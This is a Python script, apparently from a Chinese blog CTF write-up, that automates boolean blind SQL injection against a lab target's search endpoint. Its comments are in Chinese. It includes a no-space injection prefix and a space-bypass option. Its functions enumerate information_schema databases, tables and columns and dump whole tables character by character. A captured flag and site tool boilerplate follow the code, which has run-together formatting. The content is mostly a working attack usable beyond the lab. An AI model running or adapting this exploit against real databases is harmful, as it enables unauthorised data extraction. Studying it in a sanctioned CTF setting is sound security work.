#!/usr/bin/env python3# -*- coding: utf-8 -*-import requests import time import sys import argparse # ---------------- 配置区(请按需修改) ---------------- URL ="https://eci-2ze67tlhfafcfkym7tjr.cloudeci1.ichunqiu.com:80/search" HEADERS ={"Content-Type":"application/x-www-form-urlencoded","User-Agent":"Mozilla/5.0 (compatible)"}# 发送时的前后缀(保持你给出的格式)PREFIX ="name=amiya'and(" SUFFIX =")#"# 超时/重试/节流 TIMEOUT =6 RETRIES =2 SLEEP =0.03# 每请求间隔,默认 30ms(可根据靶场调整)DEBUG =False# True 打印每条请求与响应,调试时开启# 可选:空格绕过(把空格替为 /**/ 等),但既然要无空格风格,默认 False SPACE_BYPASS =False SPACE_REPLACEMENT ="/**/"# ----------------- HTTP 与判断函数 -----------------defsend_payload_raw(cond):if SPACE_BYPASS: cond = cond.replace(" ", SPACE_REPLACEMENT) payload =f"{PREFIX}{cond}{SUFFIX}" last_exc =Nonefor attempt inrange(RETRIES +1):try:if DEBUG:print(f"[DBG] -> {payload}") resp = requests.post(URL, data=payload, headers=HEADERS, timeout=TIMEOUT)try:return resp.json()
except Exception:return resp.text except requests.exceptions.RequestException as e: last_exc = e if DEBUG:print(f"[WARN] 请求异常:{e} (尝试 {attempt+1}/{RETRIES+1})") time.sleep(1)
if DEBUG:print("[ERROR] 所有重试失败:", last_exc)
returnNonedefis_true_response(resp):if resp isNone:returnFalse
ifisinstance(resp,dict): status =str(resp.get("status","")).lower() message =str(resp.get("message","")).lower()
if status =="ok"and"found"in message:returnTrue
if status =="error"and"not found"in message:returnFalse txt =str(resp)
if"Found"in txt:returnTrue
if"Not Found"in txt:returnFalse
if DEBUG:print("[DBG] 未能解析响应:", txt[:400].replace("\n","\\n"))
returnFalsedefcheck_condition(cond): resp = send_payload_raw(cond)
return is_true_response(resp)# ----------------- 爆破函数 -----------------defbinary_search_length(expr, max_upper=16384):if DEBUG:print(f"[DBG] binary_search_length expr={expr} max_upper={max_upper}") low =0 high = max_upper while low < high: mid =(low + high)//2 cond =f"length(({expr}))>{mid}"if DEBUG:print(f"[DBG] length check: {cond}")if check_condition(cond): low = mid +1else: high = mid time.sleep(SLEEP) length = low if DEBUG:print(f"[DBG] length -> {length}")
return length defextract_string_by_binary(expr, max_len=20000):if DEBUG:print(f"[DBG] extract_string_by_binary expr={expr} max_len={max_len}") result =""
for pos inrange(1, max_len +1): null_cond =f"ascii(substr(({expr}),{pos},1))=0"
if check_condition(null_cond):if DEBUG:print(f"[DBG] pos {pos} is NULL -> stop")break low =32 high =126
while low <= high: mid =(low + high)//2 cond =f"ascii(substr(({expr}),{pos},1))>{mid}"if check_condition(cond): low = mid +1else: high = mid -1 time.sleep(SLEEP) ascii_val = low if ascii_val <32or ascii_val >126:if DEBUG:print(f"[DBG] pos {pos} ascii out of range: {ascii_val} -> stop")break ch =chr(ascii_val) result += ch sys.stdout.write(f"\r[+] pos={pos} -> '{ch}' current_len={len(result)}") sys.stdout.flush()
print(f"\n[+] 提取完成:len={len(result)}")
return result # ----------------- 列表化辅助函数 -----------------defextract_group_concat_list(expr, max_len_guess=16384, sep=':'): length = binary_search_length(expr, max_len_guess)
if length ==0:return[] s = extract_string_by_binary(expr, length) items =[x for x in s.split(sep)if x !='']
return items # ----------------- 枚举与导出函数 -----------------deflist_all_databases(): expr ="select(group_concat(concat(schema_name,0x3a)))from(information_schema.schemata)"
return extract_group_concat_list(expr, max_len_guess=4096, sep=':')
deflist_tables_for_schema(schema_name): expr =f"select(group_concat(concat(table_name,0x3a)))from(information_schema.tables)where(table_schema)='{schema_name}'"
return extract_group_concat_list(expr, max_len_guess=8192, sep=':')
deflist_columns_for_table(schema_name, table_name): expr =f"select(group_concat(concat(column_name,0x3a)))from(information_schema.columns)where(table_schema)='{schema_name}'and(table_name)='{table_name}'"
return extract_group_concat_list(expr, max_len_guess=8192, sep=':')
defdump_table_data(schema_name, table_name, columns=None, max_len_guess=20000):
""" 尝试导出指定表的所有行,默认将所有列按 ':' 连接,整表按 ',' 连接。 返回导出的原始拼接字符串(如果成功),以及解析成的行列表。 注:若表非常大或 group_concat 有长度限制,可能失败或被截断。 """
if columns isNone: cols = list_columns_for_table(schema_name, table_name)
ifnot cols:if DEBUG:print(f"[WARN] 无法获取 {schema_name}.{table_name} 的列信息")
return"",[]else: cols = columns # 构造 concat(col1,0x3a,col2,0x3a,...) concat_parts =[]
for i, c inenumerate(cols): concat_parts.append(c)
if i !=len(cols)-1: concat_parts.append("0x3a") inner =",".join(concat_parts)# group_concat(concat(...)) from schema.table expr =f"select(group_concat(concat({inner})))from({schema_name}.{table_name})"
length = binary_search_length(expr, max_len_guess)
if length ==0:return"",[] s = extract_string_by_binary(expr, length)# 尝试把整个拼接字符串按 0x3a 分列,然后按行拆分(注意:无法区分列间的逗号导致的歧义,假定列值不含 ':') rows =[]
if s:# group_concat 将所有行连成一个长字符串,用 ',' 分隔行(如果默认分隔符为 ','),但为了稳妥,先按 ',' 尝试# 如果你在 DB 中设置了不同的 SEPARATOR(例如 0x2c),需要调整此处。 rows =[r for r in s.split(',')if r !='']
return s, rows # ----------------- CLI 与示例 -----------------defparse_args(): p = argparse.ArgumentParser(description="无空格括号风格 布尔盲注 导出 Flag DB 脚本(用于授权靶场/本地CTF)") p.add_argument("--url",help="目标 URL(覆盖脚本内配置)", default=None) p.add_argument("--schema",help="目标 schema 名(默认为 Flag)", default="Flag") p.add_argument("--only-db",help="只列出数据库,不继续枚举表/列", action="store_true") p.add_argument("--debug",help="开启调试", action="store_true")
return p.parse_args()
defmain():global URL, DEBUG args = parse_args()
if args.url: URL = args.url if args.debug: DEBUG =True
print("[*] 注意:请确认你对目标有授权(用户已确认为自己的靶场)")
print("[*] 目标 URL:", URL)
print("\n[*] Step 1: 枚举所有 database()(schema)") dbs = list_all_databases()
ifnot dbs:print("[WARN] 未能获取到任何 database,请检查目标或增加 max_len_guess")
return
print(f"[+] 共发现 {len(dbs)} 个 schema:")
for i, db inenumerate(dbs,1):print(f" [{i}] {db}")
if args.only_db:return target_schema = args.schema print(f"\n[*] Step 2: 以 schema='{target_schema}' 作为目标,枚举表与列并尝试导出数据") tables = list_tables_for_schema(target_schema)
ifnot tables:print(f"[WARN] 在 schema '{target_schema}' 下未发现表或无权限")
return
print(f"[+] 在 schema '{target_schema}' 下发现 {len(tables)} 张表:")
for t in tables:print(f"\n[>] 表:{t}") cols = list_columns_for_table(target_schema, t)
ifnot cols:print(" [WARN] 无法枚举列 或 表为空")
continue
print(f" [*] 列 ({len(cols)}): {', '.join(cols)}")
print(" [*] 尝试导出整表数据(可能被截断或受长度限制)...") raw, rows = dump_table_data(target_schema, t, columns=cols)
ifnot raw:print(" [WARN] 导出失败或为空")
continue# 打印前几行以便快速查看(若太多则只看前 20) max_preview =20
print(f" [*] 导出总长度:{len(raw)} 字符,预览前 {min(len(rows), max_preview)} 行:")
for i, r inenumerate(rows[:max_preview],1):print(f" ({i}) {r}")
iflen(rows)> max_preview:print(f" ... (共 {len(rows)} 行,已省略)")
print('\n[+] 导出尝试完成')
if __name__ =="__main__": main()
flag{b2f00fa9-8d65-45ac-9193-8a852c4910fb}

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML 转 Markdown 互为补充。 在线工具,Markdown 转 HTML在线工具,online
将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML 转 Markdown在线工具,online
通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online